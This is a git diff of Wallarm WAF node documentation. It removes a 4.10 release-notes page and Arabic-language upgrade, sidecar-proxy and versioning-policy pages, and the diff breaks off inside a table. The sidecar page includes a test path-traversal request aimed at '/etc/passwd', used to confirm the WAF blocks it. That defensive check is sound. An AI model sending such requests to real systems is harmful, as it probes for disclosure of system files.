[`sidecar.wallarm.io/wallarm-acl-export-enable`](../../installation/kubernetes/sidecar-proxy/pod-annotations.md) pod's annotation for the Sidecar Controller solution. - -## Wallarm AWS image distributed with the ready-to-use `cloud-init.py` script - -If following the Infrastructure as Code (IaC) approach, you may need to use the [`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html) script to deploy the Wallarm node to AWS. Starting from release 4.0, Wallarm distributes its AWS cloud image with the ready‑to‑use `cloud-init.py` script. - -[Specification of the Wallarm `cloud-init` script](../../installation/cloud-platforms/cloud-init.md) - -## Simplified multi-tenant node configuration - -For the [multi-tenant nodes](../../installation/multi-tenant/overview.md), tenants and applications are now defined each with its own directive: - -* The [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) NGINX directive and [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#partner_client_id_param) Envoy parameter have been added to configure the unique identifier of a tenant. -* The [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) NGINX directive and [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#application_param) Envoy parameter behavior has been changed. Now it is **only** used to configure an application ID. - -[Instructions on the multi-tenant node upgrade](../multi-tenant.md) - -## Filtration modes - -* New **safe blocking** filtration mode. - - This mode enables a significant reduction of [false positive](../../about-wallarm/protecting-against-attacks.md#false-positives) number by blocking only malicious requests originating from [graylisted IP addresses](../../user-guides/ip-lists/overview.md). -* Analysis of request sources is now performed only in the `safe_blocking` and `block` modes. - - * If the Wallarm node operating in the `off` or `monitoring` mode detects the request originating from the [denylisted](../../user-guides/ip-lists/overview.md) IP, it does not block this request. - * Wallarm node operating in the `monitoring` mode uploads all the attacks originating from the [allowlisted IP addresses](../../user-guides/ip-lists/overview.md) to the Wallarm Cloud. - -[More details on Wallarm node modes →](../../admin-en/configure-wallarm-mode.md) - -## Request source control - -The following parameters for request source control have been deprecated: - -* All `acl` NGINX directives, Envoy parameters, and environment variables used to configure IP address denylist. Manual configuration of IP denylisting is no longer required. - - [Details on migrating denylist configuration →](../migrate-ip-lists-to-node-3.md) - -There are the following new features for request source control: - -* Wallarm Console section for full IP address allowlist, denylist and graylist control. -* Support for new [filtration mode](../../admin-en/configure-wallarm-mode.md) `safe_blocking` and [IP address graylists](../../user-guides/ip-lists/overview.md). - - The **safe blocking** mode enables a significant reduction of [false positive](../../about-wallarm/protecting-against-attacks.md#false-positives) number by blocking only malicious requests originating from graylisted IP addresses. - - For automatic IP address graylisting, a newly released [**Number of malicious payloads** trigger](../../admin-en/configuration-guides/protecting-with-thresholds.md) can be used. -* Automated allowlisting of [Wallarm Vulnerability Scanner](../../about-wallarm/detecting-vulnerabilities.md#vunerability-scanner) IP addresses. Manual allowlisting of Scanner IP addresses is no longer required. -* Ability to allowlist, denylist, or graylist a subnet, Tor network IPs, VPN IPs, a group of IP addresses registered in a specific country, region, or data center. -* Ability to allowlist, denylist, or graylist request sources for specific applications. -* New NGINX directive and Envoy parameter `disable_acl` to disable request origin analysis. - - [Details on the `disable_acl` NGINX directive →](../../admin-en/configure-parameters-en.md#disable_acl) - - [Details on the `disable_acl` Envoy parameter →](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - -[Details on adding IPs to the allowlist, denylist, and graylist →](../../user-guides/ip-lists/overview.md) - -## New module for API inventory discovery - -New Wallarm nodes are distributed with the module **API Discovery** automatically identifying the application API. The module is disabled by default. - -[Details on the API Discovery module →](../../api-discovery/overview.md) - -## Enhanced attack analysis with the libdetection library - -Attack analysis performed by Wallarm has been enhanced by involving an additional attack validation layer. Wallarm node 4.4 and above in all form-factors (including Envoy) are distributed with the libdetection library enabled by default. This library performs secondary fully grammar-based validation of all [SQLi](../../attacks-vulns-list.md#sql-injection) attacks reducing the number of false positives detected among SQL injections. - -!!! warning "Memory consumption increase" - With the **libdetection** library enabled, the amount of memory consumed by NGINX/Envoy and Wallarm processes may increase by about 10%. - -[Details on how Wallarm detects attacks →](../../about-wallarm/protecting-against-attacks.md) - -## The rule enabling the `overlimit_res` attack detection fine-tuning - -We have introduced the new [rule allowing the `overlimit_res` attack detection fine-tuning](../../user-guides/rules/configure-overlimit-res-detection.md). - -The `overlimit_res` attack detection fine-tuning via the NGINX and Envoy configuration files is considered to be the deprecated way: - -* The rule allows setting up a single request processing time limit as the `wallarm_process_time_limit` NGINX directive and `process_time_limit` Envoy parameter did before. -* The rule allows to block or pass the `overlimit_res` attacks in accordance with the [node filtration mode](../../admin-en/configure-wallarm-mode.md) instead of the `wallarm_process_time_limit_block` NGINX directive and `process_time_limit_block` Envoy parameter configuration. - -The listed directives and parameters have been deprecated and will be deleted in future releases. It is recommended to transfer the `overlimit_res` attack detection configuration from directives to the rule before. Relevant instructions are provided for each [node deployment option](../general-recommendations.md#update-process). - -If the listed parameters are explicitly specified in the configuration files and the rule is not created yet, the node processes requests as set in the configuration files. - -## Optimized and more secure NGINX-based Docker image - -The [Docker image of Wallarm's NGINX-based filtering node](../../admin-en/installation-docker-en.md) has been revamped for enhanced security and optimization. Key updates include: - -* The Docker image is now built on Alpine Linux, replacing Debian, to provide a more secure and lightweight artifact. Please note that the `auth-pam` and `subs-filter` NGINX modules, previously included, are no longer packaged with the Docker image. -* Updated to the latest stable version of NGINX, 1.26.1, replacing the previous 1.14.x version. Although most vulnerabilities in 1.14.x were patched by the Debian team (the prior image was based on Debian 10.x), upgrading to 1.26.1 addresses remaining vulnerabilities for improved security. - - The NGINX upgrade, along with the switch to Alpine Linux, resolves the HTTP/2 Rapid Reset Vulnerability (CVE-2023-44487), due to the Alpine-specific patch implemented in NGINX 1.26.1. - -* Support for processors with ARM64 architecture, which is automatically identified during the installation process. -* Inside the Docker container, all operations now utilize the non-root user `wallarm`, a change from the previous `root` user setup. It affects the NGINX process as well. -* The [`/wallarm-status`](../../admin-en/configure-statistics-service.md) endpoint has been updated to export metrics in the Prometheus format, instead of JSON. This applies specifically when accessing the endpoint from outside the Docker container. Note that the [`WALLARM_STATUS_ALLOW`](../../admin-en/installation-docker-en.md#wallarm-status-allow-env-var) environment variable must be set appropriately for this functionality. -* The Docker image is now built using the [all-in-one installer](../../installation/nginx/all-in-one.md), which changes its internal directory structure: - - * Log file directory: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * Directory with files containing credentials for the Wallarm node to connect to the Cloud: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. -* The path to the `/usr/share` directory → `/opt/wallarm/usr/share`. - - This introduces the new path to the [sample blocking page](../../admin-en/configuration-guides/configure-block-page-and-code.md), located at `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`, and to the diagnostic script, found at `/opt/wallarm/usr/share/wallarm-common/collect-info.sh`. - -The newly released product features are also supported by the new NGINX-based Docker image of the new format. - -## Optimized cloud images - -The [Amazon Machine Image (AMI)](../../installation/cloud-platforms/aws/ami.md) and [Google Cloud Machine Image](../../installation/cloud-platforms/gcp/machine-image.md) have been optimized. Key updates include: - -* The cloud images now use Debian 12.x (bookworm), the latest stable release, replacing the deprecated Debian 10.x (buster) for enhanced security. -* Updated to the newer version of NGINX, 1.22.0, replacing the previous 1.14.x version. -* Support for processors with ARM64 architecture, which is automatically identified during the installation process. -* The cloud images are now built using the [all-in-one installer](../../installation/nginx/all-in-one.md), which changes its internal directory structure: - - * Node registration script: `/usr/share/wallarm-common/register-node` → `/opt/wallarm/usr/share/wallarm-common/cloud-init.py`. - * Log file directory: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm`. - * Directory with files containing credentials for the Wallarm node to connect to the Cloud: `/etc/wallarm` → `/opt/wallarm/etc/wallarm`. - * The path to the `/usr/share` directory → `/opt/wallarm/usr/share`. - - This introduces the new path to the [sample blocking page](../../admin-en/configuration-guides/configure-block-page-and-code.md), located at `/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`, and to the diagnostic script, found at `/opt/wallarm/usr/share/wallarm-common/collect-info.sh`. - - * The `/etc/nginx/conf.d/wallarm.conf` file with the global Wallarm filtering node settings has been removed. - -The newly released product features are also supported by the cloud images of the new format. - -## New blocking page - -The sample blocking page `/usr/share/nginx/html/wallarm_blocked.html` has been updated. In the new node version, it has new layout and supports the logo and support email customization. - -New blocking page with the new layout looks as follows by default: - -![Wallarm blocking page](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -[More details on the blocking page setup →](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) - -## New parameters for basic node setup - -* New environment variables to be passed to the Wallarm NGINX‑based Docker container: - - * `WALLARM_APPLICATION` to set the identifier of the protected application to be used in the Wallarm Cloud. - * `NGINX_PORT` to set a port that NGINX will use inside the Docker container. - - [Instructions on deploying the Wallarm NGINX‑based Docker container →](../../admin-en/installation-docker-en.md) -* New parameters of the file `node.yaml` to configure the synchronization of the Wallarm Cloud and filtering nodes: `api.local_host` and `api.local_port`. New parameters allow specifying a local IP address and port of the network interface to send requests to Wallarm API through. - - [See the full list of `node.yaml` parameters for Wallarm Cloud and filtering node synchronization setup →](../../admin-en/configure-cloud-node-synchronization-en.md#access-parameters) - -## Disabling IPv6 connections for the NGINX-based Wallarm Docker container - -The NGINX-based Wallarm Docker image 4.2 and above supports the new environment variable `DISABLE_IPV6`. This variable enables you to prevent NGINX from IPv6 connection processing, so that it only can process IPv4 connections. - -## Renamed parameters, files and metrics - -* The following NGINX directives and Envoy parameters have been renamed: - - * NGINX: `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * NGINX: `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * NGINX: `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * NGINX: `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - * Envoy: `lom` → [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * Envoy: `instance` → [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - * Envoy: `tsets` section → `rulesets`, and correspondingly the `tsN` entries in this section → `rsN` - * Envoy: `ts_request_memory_limit` → [`general_ruleset_memory_limit`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * Envoy: `ts` → [`ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#ruleset_param) - - Parameters with previous names are still supported but will be deprecated in future releases. The parameter logic has not changed. -* The Ingress [annotation](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-instance` has been renamed to `nginx.ingress.kubernetes.io/wallarm-application`. - - The annotation with the previous name is still supported but will be deprecated in future releases. The annotation logic has not changed. -* The file with the custom ruleset build `/etc/wallarm/lom` has been renamed to `/etc/wallarm/custom_ruleset`. In the file system of new node versions, there is only the file with the new name. - - Default values of the NGINX directive [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) and Envoy parameter [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) have been changed appropriately. New default value is `/etc/wallarm/custom_ruleset`. -* The private key file `/etc/wallarm/license.key` has been renamed to `/etc/wallarm/private.key`. Starting from the node version 4.0 the new name is used by default. -* The collectd metric `gauge-lom_id` has been renamed to `gauge-custom_ruleset_id`. - - In new node versions, the collectd service collects both the deprecated and new metrics. The deprecated metric collection will be stopped in future releases. - - [All collectd metrics →](../../admin-en/monitoring/available-metrics.md#nginx-metrics-and-nginx-wallarm-module-metrics) -* The `/var/log/wallarm/addnode_loop.log` [log file](../../admin-en/configure-logging.md) in the Docker containers has been renamed to `/var/log/wallarm/registernode_loop.log`. - -## Parameters of the statistics service - -* The Prometheus metric `wallarm_custom_ruleset_id` has been enhanced with the addition of a `format` attribute. This new attribute represents the custom ruleset format. Meanwhile, the principal value continues to be the custom ruleset build version. Here is an example of the updated `wallarm_custom_ruleset_id` value: - - ``` - wallarm_custom_ruleset_id{format="51"} 386 - ``` -* The Wallarm statistics service returns the new `rate_limit` parameters with the [Wallarm rate limiting](#rate-limits) module data. New parameters cover rejected and delayed requests, as well as indicate any problems with the module's operation. -* The number of requests originating from denylisted IPs is now displayed in the statistic service output, in the new parameter `blocked_by_acl` and in the existing parameters `requests`, `blocked`. -* The service return one more new parameter `custom_ruleset_ver` which points to the [custom ruleset](../../glossary-en.md#custom-ruleset-the-former-term-is-lom) format being used by Wallarm nodes. -* The following node statistics parameters have been renamed: - - * `lom_apply_time` → `custom_ruleset_apply_time` - * `lom_id` → `custom_ruleset_id` - - In new node versions, the `http://127.0.0.8/wallarm-status` endpoint temporarily returns both the deprecated and new parameters. The deprecated parameters will be removed from the service output in future releases. - -[Details on the statistics service →](../../admin-en/configure-statistics-service.md) - -## New variables to configure the node logging format - -The following [node logging variables](../../admin-en/configure-logging.md#filter-node-variables) have been changed: - -* `wallarm_request_time` has been renamed to `wallarm_request_cpu_time` - - This variable means time in seconds the CPU spent processing the request. - - The variable with the previous name is deprecated and will be removed in future releases. The variable logic has not changed. -* `wallarm_request_mono_time` has been added - - This variable means time in seconds the CPU spent processing the request + time in the queue. - -## Increasing the performance by omitting attack search in requests from denylisted IPs - -The new [`wallarm_acl_access_phase`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) directive enables you to increase the Wallarm node performance by omitting the attack search stage during the analysis of requests from [denylisted](../../user-guides/ip-lists/overview.md) IPs. This configuration option is useful if there are many denylisted IPs (e.g. the whole countries) producing high traffic that heavily loads the working machine CPU. - -## Easy grouping for node instances - -Now you can easily group node instances using one [**API token**](../../user-guides/settings/api-tokens.md) with the `Deploy` role for their installation together with the `WALLARM_LABELS` variable and its `group` label. - -For example: - -```bash -docker run -d -e WALLARM_API_TOKEN='' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_LABELS='group=' -p 80:80 wallarm/node:4.10.4-1 -``` -...will place node instance into the `` instance group (existing, or, if does not exist, it will be created). - -## Addressed vulnerabilities - -The 4.10.1 release addresses multiple high and critical severity vulnerabilities in Wallarm deployment artifacts, enhancing the software's security posture by replacing previously vulnerable components. - -Among the vulnerabilities addressed are those identified by [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327), [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920), and several others. A full list of resolved vulnerabilities, along with their corresponding CVEs specific to each node deployment artifact, can be found within the [inventory of node artifact versions](../node-artifact-versions.md). - -## Upgrade process - -1. Review [recommendations for the modules upgrade](../general-recommendations.md). -2. Upgrade installed modules following the instructions for your Wallarm node deployment option: - - * [Upgrading modules for NGINX, NGINX Plus](nginx-modules.md) - * [Upgrading the Docker container with the modules for NGINX or Envoy](docker-container.md) - * [Upgrading NGINX Ingress controller with integrated Wallarm modules](ingress-controller.md) - * [Cloud node image](cloud-image.md) - * [Multi-tenant node](multi-tenant.md) - * [CDN node](../cdn-node.md) -3. [Migrate](../migrate-ip-lists-to-node-3.md) allowlist and denylist configuration from previous Wallarm node versions to 4.10. - ----------- - -[Other updates in Wallarm products and components →](https://changelog.wallarm.com/) diff --git a/docs/latest-ar/updating-migrating/separate-postanalytics.md b/docs/latest-ar/updating-migrating/separate-postanalytics.md deleted file mode 100644 index f6102c547b..0000000000 --- a/docs/latest-ar/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1,211 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[tarantool-status]: ../images/tarantool-status.png -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - -# ترقية الوحدة النمطية postanalytics - -يرجى اتباع هذه الإرشادات لترقية وحدة postanalytics النمطية الإصدار 4.x المركبة على الخادم المستقل. يكون عليك ترقية الوحدة النمطية postanalytics قبل [ترقية وحدات Wallarm NGINX][docs-module-update]. - -لترقية الوحدة النمطية التي بلغت نهاية العمر (3.6 أو أقل )، يرجى استخدام [التعليمات الأخرى](older-versions/separate-postanalytics.md). - -## طرق الترقية - ---8<-- "../include/waf/installation/upgrade-methods.md" - -## ترقية باستخدام المثبت الشامل - -استخدم الإجراء أدناه لتحديث وحدة postanalytics النمطية 4.x المركبة على الخادم المستقل إلى الإصدار 4.10 باستخدام [المثبت الشامل](../installation/nginx/all-in-one.md). - -### متطلبات ترقية باستخدام المثبت الشامل - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -### الخطوة 1: إعداد الجهاز النظيف - ---8<-- "../include/waf/installation/all-in-one-clean-machine.md" - -### الخطوة 2: إعداد الرمز المميز لـ Wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -### الخطوة 3: تنزيل المثبت الشامل لـ Wallarm - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 4: تشغيل المثبت الشامل لـ Wallarm لتثبيت postanalytics - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -### الخطوة 5: ترقية وحدة NGINX-Wallarm على الخادم المستقل - -بمجرد تثبيت وحدة postanalytics على الخادم المستقل، [قم بترقية وحدة NGINX-Wallarm المرتبطة بها](nginx-modules.md) التي تعمل على خادم آخر. - -!!! info "دمج طرق الترقية" - يمكن استخدام الأساليب اليدوية والتلقائية لترقية الوحدة النمطية NGINX-Wallarm المرتبطة. - -### الخطوة 6: إعادة ربط وحدة NGINX-Wallarm بوحدة postanalytics - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect-5.0.md" - -### الخطوة 7: التحقق من تفاعل وحدات NGINX‑Wallarm وpostanalytics المستقلة - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check.md" - -### الخطوة 8: إزالة وحدة postanalytics القديمة - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" - -## الترقية اليدوية - -استخدم الإجراء أدناه لترقية الوحدة النمطية postanalytics 4.x المثبتة على الخادم المستقل إلى الإصدار 4.8 يدويًا. - -!!! info "الدعم لـ 4.10" - لم يتم تحديث حزم DEB/RPM لتثبيت العقدة يدويًا إلى الإصدار 4.10 بعد. - -### متطلبات - ---8<-- "../include-ar/waf/installation/basic-reqs-for-upgrades.md" - -### الخطوة 1: إضافة مستودع Wallarm الجديد - -قم بحذف عنوان مستودع Wallarm السابق وأضف مستودعًا به حزم نسخة العُقدة Wallarm الجديدة. يرجى استخدام الأوامر المناسبة للبرنامج المناسب. - -**CentOS و Amazon Linux 2.0.2021x وأقل** - -=== "CentOS 7 و Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "ألما لينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian و Ubuntu** - -1. افتح الملف الذي يُطابق عنوان المستودع Wallarm في المحرر النصي المثبت. **vim** يُستخدم في هذا التعليم. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. علق على عنوان المستودع السابق أو احذفه. -3. أضف عنوان المستودع الجديد: - - === "Debian 10.x (buster)" - !!! warning "غير مدعوم من قبل NGINX stable و NGINX Plus" - لا يمكن تثبيت الإصدارات الرسمية لـ NGINX (المستقرة و Plus) و، على التوالي، العُقدة Wallarm 4.4 وما فوق على Debian 10.x (buster). الرجاء استخدم هذا OS فقط إذا [تم تثبيت NGINX من مستودعات Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### الخطوة 2: ترقية حزم Tarantool - -=== "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" -=== "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum update - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum update - ``` -=== "RHEL 8.x" - ```bash - sudo yum update - ``` - -### الخطوة 3: تحديث نوع العقدة - -!!! info "فقط للعقد التي تم تثبيتها باستخدام نص البرنامج النصي `addnode`" - اتبع هذه الخطوة فقط إذا كانت عقدة نسخة سابقة متصلة بـ Cloud Wallarm باستخدام النص البرنامجي `addnode`. تم [إزالة](what-is-new.md#removal-of-the-email-password-based-node-registration) هذا النص البرنامجي واستبدل بـ `register-node` ، الذي يتطلب رمزًا لتسجيل العقدة في السحابة. - -1. تأكد من أن حسابك Wallarm لديه دور **المشرف** عن طريق الانتقال إلى قائمة المستخدمين في [سحابة الولايات المتحدة](https://us1.my.wallarm.com/settings/users) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/settings/users). - - ![قائمة المستخدمين في واجهة Wallarm][img-wl-console-users] -1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وأنشئ عقدة من نوع **عقدة Wallarm**. - - ![خلق Wallarm node][img-create-wallarm-node] -1. انسخ الرمز المميز الذي تم إنشاؤه. -1. نفذ النص البرنامجي `register-node` لتشغيل العقدة: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force --no-sync --no-sync-acl - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force --no-sync --no-sync-acl - ``` - - * `` هو القيمة المنسوخة من الرمز المميز للعقدة أو الرمز المميز لواجهة برمجة التطبيقات ذو طابع "إنشاء". - * خيار `--force` يجبر التحديث لبيانات الاعتماد الخاصة بـ Wallarm Cloud المنصوص عليها في الملف `/etc/wallarm/node.yaml`. - -### الخطوة 4: اعد تشغيل وحدة postanalytics النمطية - -=== "Debian" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -[ترقية وحدات Wallarm NGINX][docs-module-update] \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/sidecar-proxy.md b/docs/latest-ar/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 3686242d7d..0000000000 --- a/docs/latest-ar/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1,88 +0,0 @@ -[docs-ip-lists]: ../user-guides/ip-lists/overview.md - -# تحديث وحدة Wallarm الجانبية - -تصف هذه التعليمات الخطوات لتحديث وحدة Wallarm الجانبية من إصدار 4.x إلى الإصدار الجديد مع نقطة Wallarm 4.8. - -!!! info "الدعم للإصدار 4.10" - لم يتم تحديث مخطط Helm لنشر وحدة التحكم الجانبية للإصدار 4.10 بعد. - -## المتطلبات - ---8<-- "../include/waf/installation/sidecar-proxy-reqs.md" - -## الخطوة 1: تحديث مستودع مخططات Helm الخاص بـ Wallarm - -```bash -helm repo update wallarm -``` - -## الخطوة 2: اطلع على كافة التغييرات القادمة في مخططات K8s - -لتجنب تغييرات غير متوقعة في سلوك الوحدة الجانبية، اطلع على كافة التغييرات القادمة في مخططات K8s باستخدام [إضافة Helm Diff](https://github.com/databus23/helm-diff). تعرض هذه الإضافة الفروق بين مخططات K8s للإصدار المنشور من الوحدة الجانبية والإصدار الجديد. - -لتثبيت وتشغيل الإضافة: - -1. ثبت الإضافة: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. قم بتشغيل الإضافة: - - ```bash - helm diff upgrade -n wallarm/wallarm-sidecar --version 4.8.1 -f - ``` - - * ``: اسم إصدار Helm الذي يحتوي على مخطط الوحدة الجانبية - * ``: المجال الذي يتم نشر الوحدة الجانبية فيه - * ``: المسار إلى ملف `values.yaml` الذي يحدد إعدادات الوحدة الجانبية 4.8 - يمكن استخدام الذي تم إنشاؤه لتشغيل الإصدار السابق من الوحدة الجانبية -3. تأكد من عدم وجود تغييرات قد تؤثر على استقرار الخدمات الجارية وفحص الأخطاء من stdout بعناية. - - إذا كان stdout فارغًا، تأكد من صحة ملف `values.yaml`. - -## الخطوة 3: ترقية حل الوحدة الجانبية - -قم بترقية المكونات المنشورة لحل الوحدة الجانبية: - -``` bash -helm upgrade -n wallarm/wallarm-sidecar --version 4.8.1 -f -``` - -* ``: اسم إصدار Helm الذي يحتوي على مخطط الوحدة الجانبية المنشور -* ``: المجال الذي يتم نشر الوحدة الجانبية فيه -* ``: المسار إلى ملف `values.yaml` الذي يحدد إعدادات الوحدة الجانبية 4.8 - يمكن استخدام الذي تم إنشاؤه لتشغيل الإصدار السابق من الوحدة الجانبية - -## الخطوة 4: اختبر حل الوحدة الجانبية بعد الترقية - -1. تأكد من ترقية إصدار مخطط Helm: - - ```bash - helm list -n wallarm-sidecar - ``` - - حيث `wallarm-sidecar` هو المجال الذي يتم نشر الوحدة الجانبية فيه. يمكنك تغيير هذه القيمة إذا كان المجال مختلفًا. - - يجب أن يتطابق إصدار المخطط مع `wallarm-sidecar-1.1.5`. -1. احصل على تفاصيل طائرة التحكم لـWallarm للتحقق من بدء تشغيلها بنجاح: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - يجب أن يظهر كل بود الآتي: **جاهز: N/N** و**حالة: يعمل**, مثل: - - ``` - NAME جاهز حالة إعادة التشغيل عمر - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 يعمل 0 91د - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 4/4 يعمل 0 91د - ``` -1. أرسل هجوم [اختراق المسار](../attacks-vulns-list.md#path-traversal) الاختباري إلى عنوان تجمع التطبيق: - - ```bash - curl http:///etc/passwd - ``` - - يجب أن يكون لدى وحدة التطبيق المطلوبة الوسم `wallarm-sidecar: enabled`. - - تحقق من أن حل الإصدار الأحدث يعالج الطلب الخبيث كما فعل في الإصدار السابق. \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/versioning-policy.md b/docs/latest-ar/updating-migrating/versioning-policy.md deleted file mode 100644 index 32a90d5cea..0000000000 --- a/docs/latest-ar/updating-migrating/versioning-policy.md +++ /dev/null @@ -1,85 +0,0 @@ -# سياسة إصدار نسخ عقد التصفية - -تصف هذه السياسة طريقة إصدار النسخ المختلفة لمكونات عقد التصفية في Wallarm: حزم لينكس، حاويات Docker، رسوم Helm، وغيرها. يمكنك استخدام هذا الوثيقة لاختيار نسخة عقد التصفية للتثبيت ولجدولة تحديثات الحزم المثبتة. - -!!! info "المكون" - المكون هو نتيجة تطوير عقد Wallarm التي تُستخدم لتثبيت عقدة التصفية على المنصة. على سبيل المثال: حزم لينكس، وحدات Kong API، حاويات Docker، وغيرها. - -## قائمة الإصدارات - -| نسخة العقدة | تاريخ الإصدار | الدعم حتى | -|------------------|-----------------|----------------| -|2.18 وأقل من 2.x | | نوفمبر 2021 | -|3.6 وأقل من 3.x | أكتوبر 2021 | نوفمبر 2022 | -|4.0 | يونيو 2022 | فبراير 2023 | -|4.2 | أغسطس 2022 | يونيو 2023 | -|4.4 | نوفمبر 2022 | فبراير 2024 | -|4.6 | أبريل 2023 | أبريل 2024 | -|4.8 | أكتوبر 2023 | | -|4.10 | يناير 2024 | | - -## صيغة الإصدار - -تتبع إصدارات مكونات عقدة التصفية في Wallarm الصيغة التالية: - -```bash -..[-] -``` - -| المُعامِل | الوصف | معدل الإصدار المتوقع | -|----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------| -| `` | النسخة الرئيسية لعقدة Wallarm:
      • إعادة العمل الرئيسية للمكون
      • التغييرات غير المتوافقة
      القيمة الابتدائية هي `2`. تزداد القيمة بـ 1، على سبيل المثال: `3.6.0`, `4.0.0`. | لا يتوقع إصدار | -| `` | النسخة الثانوية لعقدة Wallarm:
      • ميزات المنتج الجديدة
      • إصلاحات الأخطاء الرئيسية
